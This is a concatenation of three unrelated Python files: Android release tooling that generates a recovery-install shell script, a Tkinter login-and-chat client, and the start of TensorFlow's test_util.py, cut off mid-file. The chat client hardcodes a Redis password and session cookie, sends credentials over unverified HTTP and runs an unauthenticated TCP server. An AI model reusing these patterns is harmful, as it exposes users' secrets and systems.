diff_program.append(path) bonus_args = "-b /system/etc/recovery-resource.dat" else: bonus_args = "" d = Difference(recovery_img, boot_img, diff_program=diff_program) _, _, patch = d.ComputePatch() output_sink("recovery-from-boot.p", patch) try: # The following GetTypeAndDevice()s need to use the path in the target # info_dict instead of source_info_dict. boot_type, boot_device = GetTypeAndDevice("/boot", info_dict) recovery_type, recovery_device = GetTypeAndDevice("/recovery", info_dict) except KeyError: return if full_recovery_image: sh = """#!/system/bin/sh if ! applypatch -c %(type)s:%(device)s:%(size)d:%(sha1)s; then applypatch /system/etc/recovery.img %(type)s:%(device)s %(sha1)s %(size)d && log -t recovery "Installing new recovery image: succeeded" || log -t recovery "Installing new recovery image: failed" else log -t recovery "Recovery image already installed" fi """ % {'type': recovery_type, 'device': recovery_device, 'sha1': recovery_img.sha1, 'size': recovery_img.size} else: sh = """#!/system/bin/sh if ! applypatch -c %(recovery_type)s:%(recovery_device)s:%(recovery_size)d:%(recovery_sha1)s; then applypatch %(bonus_args)s %(boot_type)s:%(boot_device)s:%(boot_size)d:%(boot_sha1)s %(recovery_type)s:%(recovery_device)s %(recovery_sha1)s %(recovery_size)d %(boot_sha1)s:/system/recovery-from-boot.p && log -t recovery "Installing new recovery image: succeeded" || log -t recovery "Installing new recovery image: failed" else log -t recovery "Recovery image already installed" fi """ % {'boot_size': boot_img.size, 'boot_sha1': boot_img.sha1, 'recovery_size': recovery_img.size, 'recovery_sha1': recovery_img.sha1, 'boot_type': boot_type, 'boot_device': boot_device, 'recovery_type': recovery_type, 'recovery_device': recovery_device, 'bonus_args': bonus_args} # The install script location moved from /system/etc to /system/bin # in the L release. Parse init.*.rc files to find out where the # target-files expects it to be, and put it there. sh_location = "etc/install-recovery.sh" found = False if system_root_image: init_rc_dir = os.path.join(input_dir, "ROOT") else: init_rc_dir = os.path.join(input_dir, "BOOT", "RAMDISK") init_rc_files = os.listdir(init_rc_dir) for init_rc_file in init_rc_files: if (not init_rc_file.startswith('init.') or not init_rc_file.endswith('.rc')): continue with open(os.path.join(init_rc_dir, init_rc_file)) as f: for line in f: m = re.match(r"^service flash_recovery /system/(\S+)\s*$", line) if m: sh_location = m.group(1) found = True break if found: break print "putting script in", sh_location output_sink(sh_location, sh)
gui_text.py
import json import os import socket import threading from tkinter import * import sys import time from tkinter import ttk from tkinter.tix import ComboBox import redis as redis import requests class tk_t(object): """ ็ฌฌไธ€ไธช็™ป้™†็ช—ๅฃ """ def __init__(self): window = Tk() self.window = window window.title('My Window') window.geometry('500x350') canvas = Canvas(window, bg='black', height=200, width=500) dir_path = os.getcwd() c_sys = sys.platform if 'win' in str(c_sys): image_file = PhotoImage(file=r'D:\Ubuntu\weixin\py_weixin\static\s_back.gif') else: image_file = PhotoImage(file=r'{}/static/s_back.gif'.format(dir_path)) image = canvas.create_image(250, 0, anchor='n', image=image_file) canvas.pack() name = Label(window, text='่ดฆๅท:').place(x=100, y=205) work = Label(window, text='ๅฏ†็ :').place(x=100, y=230) v_name = StringVar() v_word = StringVar() username = Entry(window, show=None, font=('Arial', 14), textvariable=v_name) password = Entry(window, show='*', font=('Arial', 14), textvariable=v_word) self.v_name = v_name self.v_word = v_word username.pack() password.pack() b = Button(window, text="็™ป้™†", command=self.user_value).place(x=160, y=300) b_out = Button(window, text="้€€ๅ‡บ", command=window.quit).place(x=270, y=300) window.mainloop() def user_value(self): """ ้ชŒ่ฏ่ดฆๅทๅฏ†็ ๆ˜ฏๅฆๆญฃ็กฎ :return: """ user_name = self.v_name.get() user_word = self.v_word.get() user_dict = { "username": user_name, "password": user_word } res_dict = user_login(user_dict) if res_dict['code'] == '200': self.window.destroy() time.sleep(1) c = chat_with(res_dict['data'], '1') else: password2 = Label(self.window, text='็”จๆˆทๅๅฏ†็ ไธๆญฃ็กฎ', bg='red').place(x=190, y=270) class chat_with(object): """ ่ฟ›ๅ…ฅไธป็•Œ้ข """ def __init__(self, user_list, tcp_a): if tcp_a != '2': chat = Tk() chat.title('My Window') chat.geometry('500x300') Label(chat, text='่ฟ›ๅ…ฅไธป็•Œ้ขไบ†', bg='red', font=('Arial', 16)).pack() frame = Frame(chat) frame.pack() # frame_l = tk.Frame(frame) # frame_r = tk.Frame(frame) # frame_l.pack(side='left') # frame_r.pack(side='right') # l1 = tk.Label(frame, text='็ฌฌไธ€ๅฅ').pack() self.frame = frame self.chat = chat num_x = 50 for tk_user in user_list: Button(chat, text="{}".format(tk_user), command=self.chat_frame, bg='red').place(x=430, y=num_x) num_x += 40 text_name = StringVar() t_text = Entry(chat, show=None, font=('Arial', 14), textvariable=text_name) t_text.place(x=0, y=200) self.t_text = t_text Button(chat, text="ๅ‘้€ๆถˆๆฏ", command=self.chat_text, bg='blue').place(x=430, y=250) chat.mainloop() def chat_frame(self): """ ็‚นๅ‡ป้“พๆŽฅๅ…ถไป–็”จๆˆท :return: """ canvas = Canvas(self.chat, bg='green', height=100, width=300).place(x=0, y=40) self.canvas = canvas conn = redis.Redis(host='localhost', port=6379, password='django_redis') # ๅฏไปฅไฝฟ็”จurlๆ–นๅผ่ฟžๆŽฅๅˆฐๆ•ฐๆฎๅบ“ # conn = Redis.from_url('redis://[:django_redis]@localhost:6379/1') user_ip = conn.get('lizhuo01') print(str(user_ip.decode())) client_value = tcp_client(user_ip) self.tcp_value = client_value def chat_text(self): """ ๆต‹่ฏ•็”จๆˆท่พ“ๅ…ฅ็š„ไฟกๆฏ :return: """ user_news = self.t_text.get() print('ๆต‹่ฏ•็”จๆˆท่พ“ๅ…ฅ็š„ๆ•ฐๆฎ:', user_news) self.tcp_value.send(user_news.encode('utf-8')) print('ๅ‘้€ๆˆๅŠŸ') username = Label(self.canvas, text='็”จๆˆท1:').place(x=0, y=40) user_message = Label(self.canvas, text=user_news).place(x=20, y=60) def chat_client(self, value): print(value) username = Label(self.canvas, text='็”จๆˆท2:').place(x=0, y=80) user_message = Label(self.canvas, text=value).place(x=20, y=100) def user_login(user_dict): """ ๅ‘้€post่ฏทๆฑ‚ใ€€้ชŒ่ฏ่ดฆๅทๅฏ†็  :param user_dict: :return: """ url = "http://127.0.0.1:8001/gui_password/" ip = get_host_ip() data = {'username': user_dict['username'], 'password': user_dict['password'], 'ip': ip } headers = { 'Accept': 'application/json, text/javascript, */*; q=0.01', 'Accept-Encoding': 'gzip, deflate', 'Accept-Language': 'zh-CN,zh;q=0.9', 'Connection': 'keep-alive', 'Content-Length': '49', 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', 'Cookie': 'sessionid=q74c4gm9tng3nglitay95yqmxsux4dhp', 'Host': '127.0.0.1:8001', 'Referer': 'http://127.0.0.1:8001/gui_password/', 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36', 'X-Requested-With': 'XMLHttpRequest' } res = requests.post(url=url, data=data, headers=headers, verify=False) res_dict = json.loads(res.content.decode()) print(res_dict) return res_dict def get_host_ip(): """ ๆŸฅ่ฏขๆœฌๆœบipๅœฐๅ€ :return: ip """ try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect(('8.8.8.8', 80)) ip = s.getsockname()[0] finally: s.close() return ip def tcp_server(): # host = socket.gethostname() port = 9010 # server.py ๆœๅŠก็ซฏ # print('่ƒฝไธ่ƒฝ่Žทๅ–ไธปๆœบๅๅญ—', host) sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # SOCK_STREAM==ๆตๅผๅ่ฎฎ๏ผšๆŒ‡็š„ๅฐฑๆ˜ฏTCPๅ่ฎฎ sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # socket()ๅ‚ๆ•ฐไธญ๏ผšfamily๏ผˆๅŸบไบŽโ€ฆโ€ฆ้€šไฟก๏ผ‰=AF_INET๏ผˆ็ฝ‘็ปœ้€šไฟก๏ผ‰, type๏ผˆๅ่ฎฎ๏ผ‰=SOCK_STREAM๏ผˆTCPๅ่ฎฎ๏ผ‰๏ผŒTCPๅ่ฎฎ้ป˜่ฎคไธ็”จๅ†™๏ผŒๅฆ‚ๆžœๆƒณ่ฆๅ†™ๅ่ฎฎๅฟ…้กปๆ˜ฏ๏ผštype=socket.SOCK_STREAM sk.bind((get_host_ip(), port)) # sk.bind((host, port)) sk.listen() while True: conn, addr = sk.accept() while True: msg = conn.recv(1024) if msg.decode('utf-8').upper() == 'Q': break print(msg.decode('utf-8')) cont = input('ๅ†…ๅฎน(่พ“ๅ…ฅQๆ–ญๅผ€)๏ผš') conn.send(cont.encode('utf-8')) if cont.upper() == 'Q': break print('ๆœๅŠก็ซฏๆŽฅๆ”ถๅˆฐ็š„ๆ•ฐๆฎ:', conn, addr) # conn.close() # sk.close() # while True: # client_socket, addr = sk.accept() # print("่ฟžๆŽฅๅœฐๅ€: {str(addr)}") # # # ้”™่ฏฏไบŒใ€ๅฝ“ๅ‘ๆฅ็š„ๆ•ฐๆฎๅพˆ้•ฟๆ—ถtcpไธไผš็ญ‰ๆŽฅๆ”ถๅฎŒๆˆๅ†ๆ‰ง่กŒไธ‹ไธ€ๆก่ฏญๅฅ๏ผŒ่ฟ™้‡Œๆฒกๅค„็†่ฟ™ไธช้—ฎ้ข˜ # result = client_socket.recv(1024 * 1024) # # ้—ฎ้ข˜ไธ€ใ€decode้ป˜่ฎคไฝฟ็”จutf-8็ผ–็ ๏ผŒไฝ†ๅฝ“ๅ‘ๆฅ็š„ๆ•ฐๆฎๆœ‰utf-8ไธๅฏ่งฃ็ ๅ†…ๅฎนๆ—ถไผšๆŠฅๅผ‚ๅธธ๏ผŒ่ฟ™้‡Œๆฒกๆ•่Žทๅผ‚ๅธธ # print("{result.decode()}") # # # ้”™่ฏฏไธ‰ใ€ๅ‘้€ๆ—ถtcpไธไผš็ญ‰ๅ‘้€ๅฎŒๅ†ๆ‰ง่กŒไธ‹ไธ€ๆก่ฏญๅฅ๏ผŒ่ฟ™้‡Œๆฒกๅค„็†่ฟ™ไธช้—ฎ้ข˜ # client_socket.send(result) # # ๆณจๆ„ๅ››ใ€ๅฆ‚ๆžœๅฎขๆˆท็ซฏไธญ็š„ๆŽฅๆ”ถไปฃ็ ๆ˜ฏๅ’ŒไธŠ่พน้”™่ฏฏไบŒไธ€ๆ ท็š„๏ผŒ้‚ฃไนˆๆฒกๅ‘ๅฎŒไนŸไผš่ขซๅฎขๆˆท็ซฏreset # client_socket.close() def tcp_client(user_ip): sk = socket.socket() sk.connect((user_ip, 9010)) # while True: # print('ๅฎขๆˆท็ซฏ่ฟžๆŽฅๅˆฐๆœๅŠก็ซฏ') # msg = sk.recv(1024) # if msg.decode('utf-8').upper() == 'Q': # break # print(msg.decode('utf-8')) # cont = input('ๅ†…ๅฎน(่พ“ๅ…ฅQๆ–ญๅผ€)๏ผš') # sk.send(cont.encode('utf-8')) # if cont.upper() == 'Q': # break # sk.close() return sk if __name__ == '__main__': # tcp_server() # tk_t = tk_t() t1 = threading.Thread(target=tcp_server) t2 = threading.Thread(target=tk_t) t1.start() t2.start()
test_util.py
# Copyright 2015 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== # pylint: disable=invalid-name """Test utils for tensorflow.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import collections from collections import OrderedDict import contextlib import functools import gc import itertools import math import os import random import re import tempfile import threading import unittest from absl.testing import parameterized import numpy as np import six _portpicker_import_error = None try: import portpicker # pylint: disable=g-import-not-at-top except ImportError as _error: _portpicker_import_error = _error portpicker = None # pylint: disable=g-import-not-at-top from google.protobuf import descriptor_pool from google.protobuf import text_format from tensorflow.core.framework import graph_pb2 from tensorflow.core.protobuf import rewriter_config_pb2 from tensorflow.python import _pywrap_stacktrace_handler from tensorflow.python import _pywrap_util_port from tensorflow.python import pywrap_tensorflow from tensorflow.python import tf2 from tensorflow.python.client import device_lib from tensorflow.python.client import session from tensorflow.python.compat.compat import forward_compatibility_horizon from tensorflow.python.eager import context from tensorflow.python.eager import def_function from tensorflow.python.eager import tape from tensorflow.python.framework import device as pydev from tensorflow.python.framework import dtypes from tensorflow.python.framework import errors from tensorflow.python.framework import errors_impl from tensorflow.python.framework import importer from tensorflow.python.framework import ops from tensorflow.python.framework import random_seed from tensorflow.python.framework import sparse_tensor from tensorflow.python.framework import tensor_shape from tensorflow.python.framework import versions from tensorflow.python.ops import array_ops from tensorflow.python.ops import control_flow_util from tensorflow.python.ops import control_flow_util_v2 from tensorflow.python.ops.ragged import ragged_tensor from tensorflow.python.ops.ragged import ragged_tensor_value from tensorflow.python.ops import script_ops from tensorflow.python.ops import summary_ops_v2 from tensorflow.python.ops import variables from tensorflow.python.platform import googletest from tensorflow.python.platform import tf_logging as logging from tensorflow.python.training import server_lib from tensorflow.python.util import compat from tensorflow.python.util import deprecation from tensorflow.python.util import nest from tensorflow.python.util import tf_decorator from tensorflow.python.util import tf_inspect from tensorflow.python.util.protobuf import compare from tensorflow.python.util.tf_export import tf_export from tensorflow.python.util.compat import collections_abc # If the below import is made available through the BUILD rule, then this # function is overridden and will instead return True and cause Tensorflow # graphs to be compiled with XLA. def is_xla_enabled(): return False try: from tensorflow.python.framework.is_xla_test_true import is_xla_enabled # pylint: disable=g-import-not-at-top except: pass def _get_object_count_by_type(): return collections.Counter([type(obj).__name__ for obj in gc.get_objects()]) @tf_export("test.gpu_device_name") def gpu_device_name(): """Returns the name of a GPU device if available or the empty string.""" for x in device_lib.list_local_devices(): if x.device_type == "GPU" or x.device_type == "SYCL": return compat.as_str(x.name) return "" def assert_ops_in_graph(expected_ops, graph): """Assert all expected operations are found. Args: expected_ops: `dict<string, string>` of op name to op type. graph: Graph to check. Returns: `dict<string, node>` of node name to node. Raises: ValueError: If the expected ops are not present in the graph. """ actual_ops = {} gd = graph.as_graph_def() for node in gd.node: if node.name in expected_ops: if expected_ops[node.name] != node.op: raise ValueError("Expected op for node %s is different. %s vs %s" % (node.name, expected_ops[node.name], node.op)) actual_ops[node.name] = node if set(expected_ops.keys()) != set(actual_ops.keys()): raise ValueError("Not all expected ops are present. Expected %s, found %s" % (expected_ops.keys(), actual_ops.keys())) return actual_ops @tf_export("test.assert_equal_graph_def", v1=[]) def assert_equal_graph_def_v2(expected, actual): """Asserts that two `GraphDef`s are (mostly) the same. Compares two `GraphDef` protos for equality, ignoring versions and ordering of nodes, attrs, and control inputs. Node names are used to match up nodes between the graphs, so the naming of nodes must be consistent. This function ignores randomized attribute values that may appear in V2 checkpoints. Args: expected: The `GraphDef` we expected. actual: The `GraphDef` we have. Raises: AssertionError: If the `GraphDef`s do not match. TypeError: If either argument is not a `GraphDef`. """ assert_equal_graph_def(actual, expected, checkpoint_v2=True, hash_table_shared_name=True) @tf_export(v1=["test.assert_equal_graph_def"]) def assert_equal_graph_def_v1(actual, expected, checkpoint_v2=False, hash_table_shared_name=False): """Asserts that two `GraphDef`s are (mostly) the same. Compares two `GraphDef` protos for equality, ignoring versions and ordering of nodes, attrs, and control inputs. Node names are used to match up nodes between the graphs, so the naming of nodes must be consistent. Args: actual: The `GraphDef` we have. expected: The `GraphDef` we expected. checkpoint_v2: boolean determining whether to ignore randomized attribute values that appear in V2 checkpoints. hash_table_shared_name: boolean determining whether to ignore randomized shared_names that appear in HashTableV2 op defs. Raises: AssertionError: If the `GraphDef`s do not match. TypeError: If either argument is not a `GraphDef`. """ assert_equal_graph_def(actual, expected, checkpoint_v2, hash_table_shared_name) def assert_equal_graph_def(actual, expected, checkpoint_v2=False, hash_table_shared_name=False): if not isinstance(actual, graph_pb2.GraphDef): raise TypeError("Expected tf.GraphDef for actual, got %s" % type(actual).__name__) if not isinstance(expected, graph_pb2.GraphDef): raise TypeError("Expected tf.GraphDef for expected, got %s" % type(expected).__name__) if checkpoint_v2: _strip_checkpoint_v2_randomized(actual) _strip_checkpoint_v2_randomized(expected) if hash_table_shared_name: _strip_hash_table_shared_name(actual) _strip_hash_table_shared_name(expected) diff = pywrap_tensorflow.EqualGraphDefWrapper(actual.SerializeToString(), expected.SerializeToString()) if diff: raise AssertionError(compat.as_str(diff)) def assert_meta_graph_protos_equal(tester, a, b): """Compares MetaGraphDefs `a` and `b` in unit test class `tester`.""" # Carefully check the collection_defs tester.assertEqual(set(a.collection_def), set(b.collection_def)) collection_keys = a.collection_def.keys() for k in collection_keys: a_value = a.collection_def[k] b_value = b.collection_def[k] proto_type = ops.get_collection_proto_type(k) if proto_type: a_proto = proto_type() b_proto = proto_type() # Number of entries in the collections is the same tester.assertEqual( len(a_value.bytes_list.value), len(b_value.bytes_list.value)) for (a_value_item, b_value_item) in zip(a_value.bytes_list.value, b_value.bytes_list.value): a_proto.ParseFromString(a_value_item) b_proto.ParseFromString(b_value_item) tester.assertProtoEquals(a_proto, b_proto) else: tester.assertEquals(a_value, b_value) # Compared the fields directly, remove their raw values from the # proto comparison below. a.ClearField("collection_def") b.ClearField("collection_def") # Check the graph_defs. assert_equal_graph_def(a.graph_def, b.graph_def, checkpoint_v2=True) # Check graph_def versions (ignored by assert_equal_graph_def). tester.assertProtoEquals(a.graph_def.versions, b.graph_def.versions) # Compared the fields directly, remove their raw values from the # proto comparison below. a.ClearField("graph_def") b.ClearField("graph_def") tester.assertProtoEquals(a, b) # Matches attributes named via _SHARDED_SUFFIX in # tensorflow/python/training/saver.py _SHARDED_SAVE_OP_PATTERN = "_temp_[0-9a-z]{32}/part" def _strip_checkpoint_v2_randomized(graph_def): for node in graph_def.node: delete_keys = [] for attr_key in node.attr: attr_tensor_value = node.attr[attr_key].tensor if attr_tensor_value and len(attr_tensor_value.string_val) == 1: attr_tensor_string_value = attr_tensor_value.string_val[0] if (attr_tensor_string_value and re.match(_SHARDED_SAVE_OP_PATTERN, str(attr_tensor_string_value))): delete_keys.append(attr_key) for attr_key in delete_keys: del node.attr[attr_key] _TABLE_SHARED_NAME_PATTERN = r"hash_table_[0-9a-z\-]+" def _strip_hash_table_shared_name(graph_def): for node in graph_def.node: delete_keys = [] if node.op == "HashTableV2" and "shared_name" in node.attr: if re.match(_TABLE_SHARED_NAME_PATTERN, str(node.attr["shared_name"].s)): delete_keys.append("shared_name") for attr_key in delete_keys: del node.attr[attr_key] def IsGoogleCudaEnabled(): return _pywrap_util_port.IsGoogleCudaEnabled() def IsBuiltWithROCm(): return _pywrap_util_port.IsBuiltWithROCm() def IsBuiltWithNvcc(): return _pywrap_util_port.IsBuiltWithNvcc() def GpuSupportsHalfMatMulAndConv(): return _pywrap_util_port.GpuSupportsHalfMatMulAndConv() def IsMklEnabled(): return _pywrap_util_port.IsMklEnabled() def InstallStackTraceHandler(): _pywrap_stacktrace_handler.InstallStacktraceHandler() def NHWCToNCHW(input_tensor): """Converts the input from the NHWC format to NCHW. Args: input_tensor: a 4- or 5-D tensor, or an array representing shape Returns: converted tensor or shape array """ # tensor dim -> new axis order new_axes = {4: [0, 3, 1, 2], 5: [0, 4, 1, 2, 3]} if isinstance(input_tensor, ops.Tensor): ndims = input_tensor.shape.ndims return array_ops.transpose(input_tensor, new_axes[ndims]) else: ndims = len(input_tensor) return [input_tensor[a] for a in new_axes[ndims]] def NHWCToNCHW_VECT_C(input_shape_or_tensor): """Transforms the input from the NHWC layout to NCHW_VECT_C layout. Note: Does not include quantization or type conversion steps, which should be applied afterwards. Args: input_shape_or_tensor: a 4- or 5-D tensor, or an array representing shape Returns: tensor or shape array transformed into NCHW_VECT_C Raises: ValueError: if last dimension of `input_shape_or_tensor` is not evenly divisible by 4. """ permutations = {5: [0, 3, 1, 2, 4], 6: [0, 4, 1, 2, 3, 5]} is_tensor = isinstance(input_shape_or_tensor, ops.Tensor) temp_shape = ( input_shape_or_tensor.shape.as_list() if is_tensor else input_shape_or_tensor) if temp_shape[-1] % 4 != 0: raise ValueError( "Last dimension of input must be evenly divisible by 4 to convert to " "NCHW_VECT_C.") temp_shape[-1] //= 4 temp_shape.append(4) permutation = permutations[len(temp_shape)] if is_tensor: t = array_ops.reshape(input_shape_or_tensor, temp_shape) return array_ops.transpose(t, permutation) else: return [temp_shape[a] for a in permutation] def NCHW_VECT_CToNHWC(input_shape_or_tensor): """Transforms the input from the NCHW_VECT_C layout to NHWC layout. Note: Does not include de-quantization or type conversion steps, which should be applied beforehand. Args: input_shape_or_tensor: a 5- or 6-D tensor, or an array representing shape Returns: tensor or shape array transformed into NHWC Raises: ValueError: if last dimension of `input_shape_or_tensor` is not 4. """ permutations = {5: [0, 2, 3, 1, 4], 6: [0, 2, 3, 4, 1, 5]} is_tensor = isinstance(input_shape_or_tensor, ops.Tensor) input_shape = ( input_shape_or_tensor.shape.as_list() if is_tensor else input_shape_or_tensor) if input_shape[-1] != 4: raise ValueError("Last dimension of NCHW_VECT_C must be 4.") permutation = permutations[len(input_shape)] nhwc_shape = [input_shape[a] for a in permutation[:-1]] nhwc_shape[-1] *= input_shape[-1] if is_tensor: t = array_ops.transpose(input_shape_or_tensor, permutation) return array_ops.reshape(t, nhwc_shape) else: return nhwc_shape def NCHWToNHWC(input_tensor): """Converts the input from the NCHW format to NHWC. Args: input_tensor: a 4- or 5-D tensor, or an array representing shape Returns: converted tensor or shape array """ # tensor dim -> new axis order new_axes = {4: [0, 2, 3, 1], 5: [0, 2, 3, 4, 1]} if isinstance(input_tensor, ops.Tensor): ndims = input_tensor.shape.ndims return array_ops.transpose(input_tensor, new_axes[ndims]) else: ndims = len(input_tensor) return [input_tensor[a] for a in new_axes[ndims]] def skip_if(condition): """Skips the decorated function if condition is or evaluates to True. Args: condition: Either an expression that can be used in "if not condition" statement, or a callable whose result should be a boolean. Returns: The wrapped function """ def real_skip_if(fn): def wrapper(*args, **kwargs): if callable(condition): skip = condition() else: skip = condition if not skip: return fn(*args, **kwargs) return wrapper return real_skip_if def enable_c_shapes(fn): """No-op. TODO(b/74620627): Remove this.""" return fn def with_c_shapes(cls): """No-op. TODO(b/74620627): Remove this.""" return cls def enable_control_flow_v2(fn): """Decorator for enabling CondV2 and WhileV2 on a test. Note this enables using CondV2 and WhileV2 after running the test class's setup/teardown methods. In addition to this, callers must import the while_v2 module in order to set the _while_v2 module in control_flow_ops. Args: fn: the function to be wrapped Returns: The wrapped function """ def wrapper(*args, **kwargs): enable_control_flow_v2_old = control_flow_util.ENABLE_CONTROL_FLOW_V2 control_flow_util.ENABLE_CONTROL_FLOW_V2 = True try: return fn(*args, **kwargs) finally: control_flow_util.ENABLE_CONTROL_FLOW_V2 = enable_control_flow_v2_old return wrapper def with_control_flow_v2(cls): """Adds methods that call original methods with WhileV2 and CondV2 enabled. Note this enables CondV2 and WhileV2 in new methods after running the test class's setup method. In addition to this, callers must import the while_v2 module in order to set the _while_v2 module in control_flow_ops. If a test function has _disable_control_flow_v2 attr set to True (using the @disable_control_flow_v2 decorator), the v2 function is not generated for it. Example: @test_util.with_control_flow_v2 class ControlFlowTest(test.TestCase): def testEnabledForV2(self): ... @test_util.disable_control_flow_v2("b/xyzabc") def testDisabledForV2(self): ... Generated class: class ControlFlowTest(test.TestCase): def testEnabledForV2(self): ... def testEnabledForV2WithControlFlowV2(self): // Enable V2 flags. testEnabledForV2(self) // Restore V2 flags. def testDisabledForV2(self): ... Args: cls: class to decorate Returns: cls with new test methods added """ if control_flow_util.ENABLE_CONTROL_FLOW_V2: return cls for name, value in cls.__dict__.copy().items(): if (callable(value) and name.startswith(unittest.TestLoader.testMethodPrefix) and not getattr(value, "_disable_control_flow_v2", False)): setattr(cls, name + "WithControlFlowV2", enable_control_flow_v2(value)) return cls def disable_control_flow_v2(unused_msg): """Decorator for a function in a with_control_flow_v2 enabled test class. Blocks the function from being run with v2 control flow ops. Args: unused_msg: Reason for disabling. Returns: The wrapped function with _disable_control_flow_v2 attr set to True. """ def wrapper(func): func._disable_control_flow_v2 = True return func return wrapper def enable_output_all_intermediates(fn): """Force-enable outputing all intermediates from functional control flow ops. Args: fn: the function to be wrapped Returns: The wrapped function """ def wrapper(*args, **kwargs): output_all_intermediates_old = \ control_flow_util_v2._EXPERIMENTAL_OUTPUT_ALL_INTERMEDIATES_OVERRIDE control_flow_util_v2._EXPERIMENTAL_OUTPUT_ALL_INTERMEDIATES_OVERRIDE = True try: return fn(*args, **kwargs) finally: control_flow_util_v2._EXPERIMENTAL_OUTPUT_ALL_INTERMEDIATES_OVERRIDE = \ output_all_intermediates_old return wrapper def assert_no_new_pyobjects_executing_eagerly(func=None, warmup_iters=2): """Decorator for asserting that no new Python objects persist after a test. Runs the test multiple times executing eagerly, first as a warmup and then to let objects accumulate. The warmup helps ignore caches which do not grow as the test is run repeatedly. Useful for checking that there are no missing Py_DECREFs in the C exercised by a bit of Python. Args: func: The function to test. warmup_iters: The numer of warmup iterations, excluded from measuring. Returns: The wrapped function performing the test. """ def wrap_f(f): def decorator(self, *args, **kwargs): """Warms up, gets object counts, runs the test, checks for new objects.""" with context.eager_mode(): gc.disable() # Run the test 2 times as warmup, in an attempt to fill up caches, which # should not grow as the test is run repeatedly below. # # TODO(b/117156879): Running warmup twice is black magic; we have seen # tests that fail with 1 warmup run, and pass with 2, on various # versions of python2.7.x. for _ in range(warmup_iters): f(self, *args, **kwargs) # Some objects are newly created by _get_object_count_by_type(). So # create and save as a dummy variable to include it as a baseline. obj_count_by_type = _get_object_count_by_type() gc.collect() obj_count_by_type = _get_object_count_by_type() if ops.has_default_graph(): collection_sizes_before = { collection: len(ops.get_collection(collection)) for collection in ops.get_default_graph().collections } for _ in range(3): f(self, *args, **kwargs) # Note that gc.get_objects misses anything that isn't subject to garbage # collection (C types). Collections are a common source of leaks, so we # test for collection sizes explicitly. if ops.has_default_graph(): for collection_key in ops.get_default_graph().collections: collection = ops.get_collection(collection_key) size_before = collection_sizes_before.get(collection_key, 0) if len(collection) > size_before: raise AssertionError( ("Collection %s increased in size from " "%d to %d (current items %s).") % (collection_key, size_before, len(collection), collection)) # Make sure our collection checks don't show up as leaked memory by # removing references to temporary variables. del collection del collection_key del size_before del collection_sizes_before gc.collect() # There should be no new Python objects hanging around. obj_count_by_type = _get_object_count_by_type() - obj_count_by_type # In some cases (specifacally on MacOS), new_count is somehow # smaller than previous_count. # Using plain assert because not all classes using this decorator # have assertLessEqual assert not obj_count_by_type, ( "The following objects were newly created: %s" % str(obj_count_by_type)) gc.enable() return decorator if func is None: return wrap_f else: return wrap_f(func) def assert_no_new_tensors(f): """Decorator for asserting that no new Tensors persist after a test. Mainly useful for checking that code using the Python C API has correctly manipulated reference counts. Clears the caches that it knows about, runs the garbage collector, then checks that there are no Tensor or Tensor-like objects still around. This includes Tensors to which something still has a reference (e.g. from missing Py_DECREFs) and uncollectable cycles (i.e. Python reference cycles where one of the objects has __del__ defined). Args: f: The test case to run. Returns: The decorated test case. """ def decorator(self, **kwargs): """Finds existing Tensors, runs the test, checks for new Tensors.""" def _is_tensorflow_object(obj): try: return isinstance(obj, (ops.Tensor, variables.Variable, tensor_shape.Dimension, tensor_shape.TensorShape)) except ReferenceError: # If the object no longer exists, we don't care about it. return False tensors_before = set( id(obj) for obj in gc.get_objects() if _is_tensorflow_object(obj)) outside_executed_eagerly = context.executing_eagerly() # Run the test in a new graph so that collections get cleared when it's # done, but inherit the graph key so optimizers behave. outside_graph_key = ops.get_default_graph()._graph_key with ops.Graph().as_default(): ops.get_default_graph()._graph_key = outside_graph_key if outside_executed_eagerly: with context.eager_mode(): result = f(self, **kwargs) else: result = f(self, **kwargs) # Make an effort to clear caches, which would otherwise look like leaked # Tensors. context.context()._clear_caches() # pylint: disable=protected-access gc.collect() tensors_after = [ obj for obj in gc.get_objects() if _is_tensorflow_object(obj) and id(obj) not in tensors_before ] if tensors_after: raise AssertionError(("%d Tensors not deallocated after test: %s" % ( len(tensors_after), str(tensors_after), ))) return result return decorator def _find_reference_cycle(objects, idx): def get_ignore_reason(obj, blacklist): """Tests whether an object should be omitted from the dependency graph.""" if len(blacklist) > 100: return "<depth limit>" if tf_inspect.isframe(obj): if "test_util.py" in tf_inspect.getframeinfo(obj)[0]: return "<test code>" for b in blacklist: if b is obj: return "<test code>" if obj is blacklist: return "<test code>" return None # Note: this function is meant to help with diagnostics. Its output is purely # a human-readable representation, so you may freely modify it to suit your # needs. def describe(obj, blacklist, leaves_only=False): """Returns a custom human-readable summary of obj. Args: obj: the value to describe. blacklist: same as blacklist in get_ignore_reason. leaves_only: boolean flag used when calling describe recursively. Useful for summarizing collections. """ if get_ignore_reason(obj, blacklist): return "{}{}".format(get_ignore_reason(obj, blacklist), type(obj)) if tf_inspect.isframe(obj): return "frame: {}".format(tf_inspect.getframeinfo(obj)) elif tf_inspect.ismodule(obj): return "module: {}".format(obj.__name__) else: if leaves_only: return "{}, {}".format(type(obj), id(obj)) elif isinstance(obj, list): return "list({}): {}".format( id(obj), [describe(e, blacklist, leaves_only=True) for e in obj]) elif isinstance(obj, tuple): return "tuple({}): {}".format( id(obj), [describe(e, blacklist, leaves_only=True) for e in obj]) elif isinstance(obj, dict): return "dict({}): {} keys".format(id(obj), len(obj.keys())) elif tf_inspect.isfunction(obj): return "function({}) {}; globals ID: {}".format( id(obj), obj.__name__, id(obj.__globals__)) else: return "{}, {}".format(type(obj), id(obj)) def build_ref_graph(obj, graph, reprs, blacklist): """Builds a reference graph as <referrer> -> <list of refferents>. Args: obj: The object to start from. The graph will be built by recursively adding its referrers. graph: Dict holding the graph to be built. To avoid creating extra references, the graph holds object IDs rather than actual objects. reprs: 